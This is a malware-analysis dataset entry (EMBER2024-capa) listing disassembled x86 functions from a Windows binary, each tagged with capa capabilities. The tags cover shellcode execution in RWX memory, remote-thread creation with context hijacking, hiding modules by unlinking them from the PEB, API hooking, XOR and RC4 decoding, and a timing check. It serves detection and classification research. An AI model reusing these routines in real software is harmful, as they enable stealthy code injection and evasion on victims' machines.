joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013ad0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a778
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x11183e30], 0
je 0x10013b72
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x11183e34]
cmp eax, 0x1388
jbe 0x10013b72
push 0x11183e68
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
je 0x10013b72
call esi
mov dword [0x11183e34], eax
test eax, eax
je 0x10013b67
call fcn.10013a10
test al, al
jne 0x10013b67
mov edi, 0x10020bd0
sub edi, 0x79ddc0fb
lea esi, [ebp - 0x30]
call fcn.1000a1e0
push eax
push 2
mov eax, 0x10130668
mov dword [ebp - 4], 0
call fcn.10014920
add esp, 8
jmp 0x10013b72
push 0x11183e68
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019876
mov esp, ebp
pop ebp
ret

Function at 0x100145a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
call edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push eax
mov ecx, 0x10004d20
sub ecx, esi
push 5
sub ecx, 5
push esi
mov byte [esi], 0xe8
mov dword [esi + 1], ecx
call edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x100145e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001aa46
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dx, word [0x1002153c]
mov dword [ebp - 0x65c], eax
lea eax, [ebp - 0x620]
mov esi, ecx
mov ecx, dword [0x10021538]
push eax
push 0x3ff
mov dword [ebp - 0x660], esi
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10014808
lea ebx, [ebp - 0x620]
xor edi, edi
jmp 0x10014660
mov cx, word [ebx]
push 0x104
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10014716
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], edi
mov word [ebp - 0x63c], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x100146a3
sub eax, edx
sar eax, 1
push eax
mov eax, esi
lea ecx, [ebp - 0x63c]
call fcn.10017510
lea eax, [ebp - 0x220]
mov dword [ebp - 4], edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x100146d0
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x63c]
push eax
call fcn.10016880
mov esi, eax
cmp esi, 0xffffffff
jne 0x10014735
mov dword [ebp - 4], eax
cmp dword [ebp - 0x628], 8
jb 0x10014716
mov ecx, dword [ebp - 0x63c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dx, word [ebx]
add ebx, 2
test dx, dx
jne 0x10014716
cmp word [ebx], di
je 0x10014808
mov esi, dword [ebp - 0x660]
jmp 0x10014660
xor eax, eax
mov word [ebp - 0x658], ax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10014757
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x658]
call fcn.10017510
mov eax, ebx
mov byte [ebp - 4], 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10014781
sub eax, edx
sar eax, 1
push eax
mov eax, dword [ebp - 0x648]
push ebx
inc eax
push esi
lea ecx, [ebp - 0x63c]
call fcn.100166f0
mov esi, 8
cmp dword [ebp - 0x644], esi
jb 0x100147c2
mov ecx, dword [ebp - 0x658]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0x628], esi
jae 0x100147d6
lea eax, [ebp - 0x63c]
mov edx, dword [ebp - 0x65c]
push eax
push 0x104
push edx
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
add esp, 0xc
cmp dword [ebp - 0x628], esi
jb 0x10014804
mov eax, dword [ebp - 0x63c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov al, 1
jmp 0x1001480a
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019876
mov esp, ebp
pop ebp
ret
Function at 0x10014920
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x100
push 0
push 0x11184098
mov ebx, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + 0x10020060]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x11184098], cl
inc eax
cmp eax, 0x100
jb 0x10014940
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push 1
push eax
push 0x11184098
push 0
mov ecx, 0x10126568
call fcn.1000b840
mov eax, dword [0x1013041c]
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
add esp, 0x14
test eax, eax
je 0x100149b2
push 0
push 0
push 0x10
push eax
call esi
mov ecx, dword [0x11183a24]
mov edx, dword [0x10130434]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
push ecx
push edx
mov dword [0x1013041c], 0
call edi
jmp 0x100149b8
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x10130544]
test eax, eax
je 0x100149e3
push 0
push 0
push 0x10
push eax
call esi
mov eax, dword [0x11183a24]
mov ecx, dword [0x1013055c]
push eax
push ecx
mov dword [0x10130544], 0
call edi
mov eax, dword [0x1013066c]
test eax, eax
je 0x10014a0e
push 0
push 0
push 0x10
push eax
call esi
mov edx, dword [0x11183a24]
mov eax, dword [0x10130684]
push edx
push eax
mov dword [0x1013066c], 0
call edi
mov eax, dword [ebp + 8]
sub eax, 0
je 0x10014a32
dec eax
je 0x10014a26
dec eax
jne 0x10014a3e
lea ecx, [eax + 0x6a]
mov eax, 0x2b2bb9
jmp 0x10014a44
mov ecx, 0x69
mov eax, 0x116896
jmp 0x10014a44
mov ecx, 0x67
mov eax, 0x9ca476
jmp 0x10014a44
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
push eax
push edx
call fcn.10013550
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
mov ecx, ebx
mov edi, 0x10014880
mov dword [ebx + 8], eax
call fcn.100164c0
mov eax, dword [ebx + 8]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx + 4]
test eax, eax
je 0x10014ab6
push 0
push 0
push 0x10
push eax
call esi
mov edx, dword [0x11183a24]
mov eax, dword [ebx + 0x1c]
push edx
push eax
mov dword [ebx + 4], 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
call fcn.10016480
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x10016220
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x11184098
mov esi, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
shl esi, 8
lea ecx, [esi + 0x1001d660]
pop esi
mov dl, byte [ecx + eax]
sub dl, 0x1b
xor dl, 0xc
mov byte [eax + 0x11184098], dl
inc eax
cmp eax, 0x100
jb 0x10016243
mov eax, 0x11184098
ret

Function at 0x100164c0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10026018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [ebp - 0x2f4], eax
push esi
mov ecx, 0xd6
xor eax, eax
mov dl, byte [eax + 0x10021750]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x100164e7
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x3f669bf7
lea eax, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.10016ef0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call dword [sym.imp.MSVCR100.dll_rand]
mov esi, eax
and esi, 0x80000fff
jns 0x1001653b
dec esi
or esi, 0xfffff000
inc esi
lea ecx, [ebp - 0x2f8]
push ecx
push 0x40
push 0x100
add esi, 0x488889
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x2f4]
push edx
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
push eax
mov ebx, 0x10002
push esi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea ecx, [ebp - 0x2f0]
push ecx
push esi
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10019876
mov esp, ebp
pop ebp
ret 4
Function at 0x100165d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x10016618
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001661c
cmp edx, esi
jne 0x10016601
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x1001663c
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10016640
cmp edx, esi
jne 0x10016625
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x10016660
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10016664
cmp edx, esi
jne 0x10016649
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10017650
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [0x1012653c]
push edi
cmp esi, dword [0x10126540]
je 0x1001771e
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
nop
cmp byte [esi], 2
jne 0x1001768e
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 1]
push ecx
xor ebx, ebx
push closesocket
mov dword [ebp - 4], ebx
call edi
cmp dword [ebp - 4], ebx
jne 0x100176a3
add esi, 0x105
cmp esi, dword [0x10126540]
jne 0x10017670
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x10126540]
mov esi, dword [0x1012653c]
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x10017706
xor edi, edi
cmp byte [edi + esi], 2
jne 0x100176e2
lea ecx, [edi + esi + 1]
push ecx
push closesocket
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov esi, dword [0x1012653c]
mov ecx, dword [0x10126540]
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
inc ebx
add eax, edx
add edi, 0x105
cmp ebx, eax
jb 0x100176c6
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 6
xor ecx, ecx
call fcn.10002ba0
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10017950
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.10017af0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x10017a14
cmp dword [ebp - 4], 0x50000000
jb 0x10017991
cmp dword [ebp - 4], 0x80000000
ja 0x10017991
mov dword [ebp - 4], 0x4fff0000
jmp 0x1001796a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100179b7
jmp 0x10017a14
cmp dword [ebp - 0x14], 0x10000
jne 0x100179fa
cmp dword [ebp - 0x18], 0x10000
jb 0x100179fa
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100179ed
mov eax, dword [ebp - 8]
jmp 0x10017a16
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10017a0f
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.10017af0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1001796a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10017a20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10017b20
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x10017adc
cmp dword [ebp - 4], 0x50000000
jb 0x10017a5c
cmp dword [ebp - 4], 0x80000000
ja 0x10017a5c
mov dword [ebp - 4], 0x80010000
jmp 0x10017a35
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10017a82
jmp 0x10017adc
cmp dword [ebp - 0x14], 0x10000
jne 0x10017ac5
cmp dword [ebp - 0x18], 0x10000
jb 0x10017ac5
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10017ab8
mov eax, dword [ebp - 8]
jmp 0x10017ade
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10017ad7
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.10017b20
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10017a35
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10018250
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
cmp dword [eax], 0x52727464
je 0x10018265
xor eax, eax
jmp 0x100182da
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x10000
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 8]
add eax, 0x48
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
jmp 0x10018292
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x38d
jae 0x100182d5
mov edx, dword [ebp - 4]
imul edx, edx, 0x48
mov eax, dword [ebp - 8]
cmp dword [eax + edx + 0x40], 0
je 0x100182d3
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 0xc]
jb 0x100182cf
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 0x10]
jb 0x100182d3
xor eax, eax
jmp 0x100182da
jmp 0x10018289
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x100184a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10130ab8]
mov dword [ebp - 4], eax
jmp 0x100184b9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x100184d6
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100184b0
mov esp, ebp
pop ebp
ret
Function at 0x10018920
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x10130ac8], eax
je 0x1001893e
mov eax, 0x10dd
jmp 0x10018a1f
mov eax, dword [0x10130ad8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100189bc
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x1001899a
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x1001899a
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.10017fc0
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x10018946
mov dword [0x10130ad8], 0
call fcn.100182e0
mov ecx, dword [0x10130ad4]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x10018a09
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x100189d4
mov dword [0x10130ad4], 0
mov dword [0x10130ac8], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10018f10
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x10130acc], 0
je 0x10018f29
mov eax, dword [0x10130acc]
jmp 0x10018fc9
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x10018f3b
xor eax, eax
jmp 0x10018fc9
push 8
call fcn.1001998a
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10018f91
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x10018f7a
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x10130acc], eax
mov dword [0x10130ad0], 0
mov eax, dword [ebp - 8]
jmp 0x10018fc9
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x10018fab
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x10018f5b
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x10130ad4]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x10130ad4], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10019876
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10026018]
jne 0x10019880
repz ret
jmp fcn.10019db9
Function at 0x401130
Capabilities:
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 0x1c]
or eax, 4
mov dword [ebp - 8], eax
cmp dword [ebp + 0x34], 0
jne 0x40114e
mov ecx, dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp + 0x34], ecx
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp + 0x28]
push eax
mov ecx, dword [ebp + 0x24]
push ecx
mov edx, dword [ebp + 0x20]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp + 0x34]
test eax, eax
jne 0x401181
xor eax, eax
jmp 0x4011f5
mov dword [ebp - 4], 0
cmp dword [ebp + 0x30], 0
je 0x4011a1
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x30]
mov dword [ebp + eax*4 - 0x10], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.00401200
test eax, eax
jne 0x4011c6
push 0xffffffffffffffff
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x4011f5
cmp dword [ebp + 0x2c], 0
je 0x4011de
push 0x10
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp + 0x2c]
push edx
call fcn.00429850
add esp, 0xc
mov eax, dword [ebp + 0x1c]
and eax, 4
jne 0x4011f0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov esp, ebp
pop ebp
ret 0x30
Function at 0x401970
Capabilities:
Encrypt data using rc4 prga
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x4571c0
push 0x42f120
mov eax, dword fs:[0]
push eax
add esp, 0xffffff88
mov eax, dword [0x45a100]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
cmp dword [ebp + 0xc], 0
jne 0x4019b5
mov dword [ebp - 0x60], 0x10000
jmp 0x4019c0
mov eax, dword [ebp + 0xc]
add eax, 0x10000
mov dword [ebp - 0x60], eax
push 0x1c
push 0
lea ecx, [ebp - 0x88]
push ecx
call fcn.0042a420
add esp, 0xc
jmp 0x4019e1
mov edx, dword [ebp - 0x88]
add edx, dword [ebp - 0x7c]
mov dword [ebp - 0x60], edx
push 0x1c
lea eax, [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
jne 0x401a01
jmp 0x401b3e
mov eax, dword [ebp - 0x7c]
and eax, 0xfff
cmp eax, 0xfff
jne 0x401a15
jmp 0x401b3e
mov ecx, dword [ebp - 0x88]
add ecx, dword [ebp - 0x7c]
cmp ecx, dword [ebp - 0x60]
jae 0x401a28
jmp 0x401b3e
cmp dword [ebp - 0x78], 0x1000
jne 0x401a49
mov edx, dword [ebp - 0x74]
and edx, 0xff
cmp edx, 1
je 0x401a49
mov eax, dword [ebp - 0x74]
and eax, 0x100
je 0x401a4b
jmp 0x4019d5
mov dword [ebp - 4], 0
push 0
push 0x40
lea ecx, [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x60]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x401a78
mov dword [ebp - 4], 0xfffffffe
jmp 0x4019d5
movzx ecx, word [ebp - 0x5c]
cmp ecx, 0x5a4d
jne 0x401a92
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x7c]
ja 0x401a92
cmp dword [ebp - 0x20], 0x40
jae 0x401a9e
mov dword [ebp - 4], 0xfffffffe
jmp 0x4019d5
push 0
push 0xf8
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x60]
add ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x401aca
mov dword [ebp - 4], 0xfffffffe
jmp 0x4019d5
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0x4550
je 0x401ae1
mov dword [ebp - 4], 0xfffffffe
jmp 0x4019d5
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x68], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x68]
jmp 0x401b40
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0042a402
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40257d
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x45a100]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x10c]
push eax
push 0x20019
xor esi, esi
push esi
push 0x44ed68
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402652
push edi
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push esi
push dword [ebp - 0x10c]
mov edi, 0x104
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402641
cmp dword [ebp - 0x114], 2
mov byte [ebp - 5], al
lea eax, [ebp - 0x108]
jne 0x40262b
push edi
push dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
dec eax
lea ecx, [edi - 1]
cmp ecx, eax
sbb esi, esi
inc esi
jmp 0x402641
push eax
push edi
push dword [ebp - 0x110]
call fcn.004010d0
xor ecx, ecx
test eax, eax
setge cl
mov esi, ecx
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
jmp 0x402654
